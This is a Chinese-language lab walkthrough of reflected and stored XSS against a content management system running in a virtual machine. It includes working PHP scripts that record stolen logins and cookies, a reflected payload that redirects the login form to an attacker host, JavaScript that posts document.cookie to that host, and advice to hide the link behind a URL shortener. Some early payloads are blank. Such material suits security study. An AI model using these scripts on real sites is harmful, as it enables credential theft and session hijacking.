CMS 文件管理系統:XSS 漏洞獲取密碼和 cookie


XSS 漏洞查找

反射型 XSS

反射型 XSS 的惡意代碼不會存儲在遠程 web 應用程序中,而是會馬上被觸發。進入頁面,使用搜索功能,可以看到使用的是 GET 方法傳參,用於搜索的參數是 keywords 和 button。

直接向 keywords 傳遞參數“”,由於參數被傳遞進入后會被直接執行,所以可以看到我們注入的腳本執行成功。

存儲型 XSS

進入留言功能界面,輸入 payload “”,這句代碼會回顯 cookie 信息。

編寫完成后,完成提交。

上傳成功后,進入管理員后台管理系統,可以看到一打開查看這個留言,XSS 攻擊就被觸發返回 cookie 信息,攻擊成功。

利用 XSS 獲取管理員賬號

攻擊思路

編寫獲取賬號信息的 php 腳本,獲取用戶輸入的用戶名和密碼,完成修改表單提交對象的攻擊。攻擊的步驟如下:

  1. 編寫獲取賬號密碼信息的 php 腳本 save.php,存放在攻擊主機的網站目錄下,通過 save.php 獲取到的用戶名和密碼存放在 save.txt 中;
  2. 將頁面中登錄按鈕提交表單的 action 地址改為攻擊主機中 save.php 的地址;
  3. 使用短網址生成網頁, 不讓對方容易察覺這是一個釣魚網站。

生成並放置攻擊腳本

首先先查看一下網頁的源碼,看看登錄界面輸入的是哪些參數,分別是 username 和 password。

編寫用於接收用戶名和密碼的 php 文件,將用戶名和密碼寫入文件后跳轉到登錄界面完成工作。

<?php
$username = $_POST['username'];
$passward = $_POST['password'];
$result = fopen("save.txt","a");
fwrite($result, $username.'+++'.$passward."\n");
fclose($result);
echo "<form style='display:none;' id='form1' name='form1' method='post' action='http://192.168.176.134/admin/login.action.php'>
    <input name='username' type='text' value='".$username."'/>
    <input name='password' type='text' value='".$passward."'/>
  </form>
  <script type='text/javascript'>function load_submit(){document.form1.submit()}load_submit();</script>";
?>

將獲取用戶名和密碼的 php 文件放在攻擊網站的目錄下,此處靶場在虛擬機,將 php 文件放在主機的站點下。

修改表單提交地址

接着檢查頁面中登錄按鈕提交表單的 action 地址,改為攻擊主機中 save.php 的地址。

要做到這點需要使用反射型 XSS,利用 username 參數向它注入一段 JavaScript 腳本。

?username=<script type="text/javascript">var x=document.getElementById("myform");x.action="http://192.168.9.97/save.php";</script>


意到直接輸入會亂碼,以為此處將嵌入一個 input 標簽,因此需要將這個標簽的前后閉合。我選擇使用 p 標簽閉合后面的尖括號,這樣 payload 腳本就准備好了。

?username="><script type="text/javascript">var x=document.getElementById("myform");x.action="http://192.168.9.97/save.php";</script><p id="234

生成短網址

使用短網址生成網頁, 不讓對方容易察覺這是一個釣魚網站。

攻擊測試

模擬管理員登錄系統,輸入用戶名和密碼后進行登錄。

由於攻擊腳本保存完用戶名和密碼后會重定向到登錄驗證界面,且可以使用 post 發送用戶名和密碼,所以管理員可以正常登錄。

可以看到攻擊腳本已經獲取用戶名和密碼了,使用 XSS 獲取成功。

利用 XSS 獲取 cookie

攻擊思路

在文章管理系統的留言板上發表 JavaScript 語句,用來盜取管理員的 cookie。攻擊的步驟如下:

  1. 編寫盜取 cookie 的 php 腳本 cookie.php、js 腳本 xss.js。存放在攻擊主機的網站主機的根目錄下,通過 cookie.php 獲取到的用戶名和密碼存放在 cookie.txt 中。
  2. 在文章管理系統的留言板上發表留言內容為 javascript 語句,當管理查看時觸發 js。

生成並放置攻擊腳本

首先先編寫保存 cookie 的 php 腳本。

<?php
$cookie = $_POST['cookie'];
$result = fopen( "getcookie.txt" , "a");fwrite($result, $cookie." \n");
fclose($result);
echo "Cookie Success ! ";
?>

然后編寫獲取 cookie 並發送的 JavaScript 腳本,腳本得到 cookie 之后將發送給 php 腳本進行保存。

function getCookie(){
    var url= "http://192.168.9.97/cookie.php";
    var data= 'cookie= '+ document.cookie;
    var getck=new XMLHttpRequest();
    getck.open('POST', url);
    getck.setRequestHeader('content-type','application/x-www-form-urlencoded');
    getck.send(data);
}
getCookie();

將這兩段攻擊腳本放在網站根目錄下。

利用存儲型 XSS 漏洞

接着提交留言,在留言板界面嵌入 JavaScript 腳本,遠程包含我們放在自己站點下的獲取 cookie 的腳本,包含后就會自動執行。

提交留言,系統提示留言成功。

攻擊測試

管理員打開留言管理界面,什么都看不到,但是已經將 cookie 泄露出去了。


在管理員界面按 F12 查看源碼,可以看到網站已經將遠程包含 js 文件的操作執行了。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM